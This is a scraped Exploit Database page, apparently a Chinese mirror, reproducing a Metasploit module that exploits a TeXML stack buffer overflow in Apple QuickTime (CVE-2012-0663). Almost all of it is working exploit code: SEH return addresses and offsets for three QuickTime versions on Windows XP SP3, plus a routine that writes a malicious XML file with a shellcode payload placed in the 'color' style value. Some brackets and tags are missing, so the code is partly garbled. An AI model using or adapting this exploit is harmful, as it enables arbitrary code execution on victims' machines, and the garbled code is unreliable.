Apple QuickTime – TeXML Stack Buffer Overflow (Metasploit)

Exploit Database
137 阅读

作者： Metasploit

日期： 2012-06-28
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/19433/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

# http://metasploit.com/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::FILEFORMAT

include Msf::Exploit::Remote::Seh

def initialize(info = {})

super(update_info(info,

'Name' => 'Apple QuickTime TeXML Stack Buffer Overflow',

'Description'=> %q{

This module exploits a vulnerability found in Apple QuickTime. When handling

a TeXML file, it is possible to trigger a stack-based buffer overflow, and then

gain arbitrary code execution under the context of the user.The flaw is

generally known as a bug while processing the 'transform' attribute, however,

that attack vector seems to only cause a TerminateProcess call due to a corrupt

stack cookie, and more data will only trigger a warning about the malformed XML

file.This module exploits the 'color' value instead, which accomplishes the same

thing.

'License'=> MSF_LICENSE,

'Author' =>

[

'Alexander Gavrun',# Vulnerability Discovery

'sinn3r',# Metasploit Module

'juan vazquez' # Metasploit Module

'References' =>

[

[ 'OSVDB', '81934' ],

[ 'CVE', '2012-0663' ],

[ 'BID', '53571' ],

[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-095/' ],

[ 'URL', 'http://support.apple.com/kb/HT1222' ]

'Payload'=>

{

'DisableNops' => true,

'BadChars'=> "\x00\x23\x25\x3c\x3e\x7d"

'Platform' => 'win',

'Targets'=>

[

[ 'QuickTime 7.7.1 on Windows XP SP3',

{

'Ret' => 0x66f1bdf8, # POP ESI/POP EDI/RET from QuickTime.qts (7.71.80.42)

'Offset' => 643,

'Max' => 13508

}

[ 'QuickTime 7.7.0 on Windows XP SP3',

{

'Ret' => 0x66F1BD66, # PPR from QuickTime.qts (7.70.80.34)

'Offset' => 643,

'Max' => 13508

}

[ 'QuickTime 7.6.9 on Windows XP SP3',

{

'Ret' => 0x66801042, # PPR from QuickTime.qts (7.69.80.9)

'Offset' => 643,

'Max' => 13508

}

'Privileged' => false,

'DisclosureDate' => 'May 15 2012'))

register_options(

[

OptString.new('FILENAME', [ true, 'The file name.','msf.xml']),

], self.class)

end

def exploit

my_payload = rand_text(target['Offset'])

my_payload << generate_seh_record(target.ret)

my_payload << payload.encoded

my_payload << rand_text(target['Max'] - my_payload.length)

texml = <<-eos

<?xml version="1.0"?>

<?quicktime type="application/x-quicktime-texml"?>

<text3GTrack trackWidth="176.0" trackHeight="60.0" layer="1"

language="eng" timeScale="600"

transform="matrix(1.0, 0.0, 0.0, 0.0, 1.0, 0.0, 1, 0, 1.0)">

<description format="tx3g" displayFlags="ScrollIn"

horizontalJustification="Left"

verticalJustification="Top"

backgroundColor="0%, 0%, 0%, 100%">

</fontTable>

{font-table: 1} {font-size:10}

{font-style:normal}

{font-weight: normal}

{color: #{my_payload}%, 100%, 100%, 100%}

</style>

</sharedStyles>

</description>

<sampleData scrollDelay="200"

highlightColor="25%, 45%, 65%, 100%"

targetEncoding="utf8">

<text styleID="1">What you need... Metasploit!</text>

</sampleData>

</sample>

</text3GTrack>

eos

texml = texml.gsub(/^\t\t/,'')

print_status("Creating '#{datastore['FILENAME']}'.")

file_create(texml)

end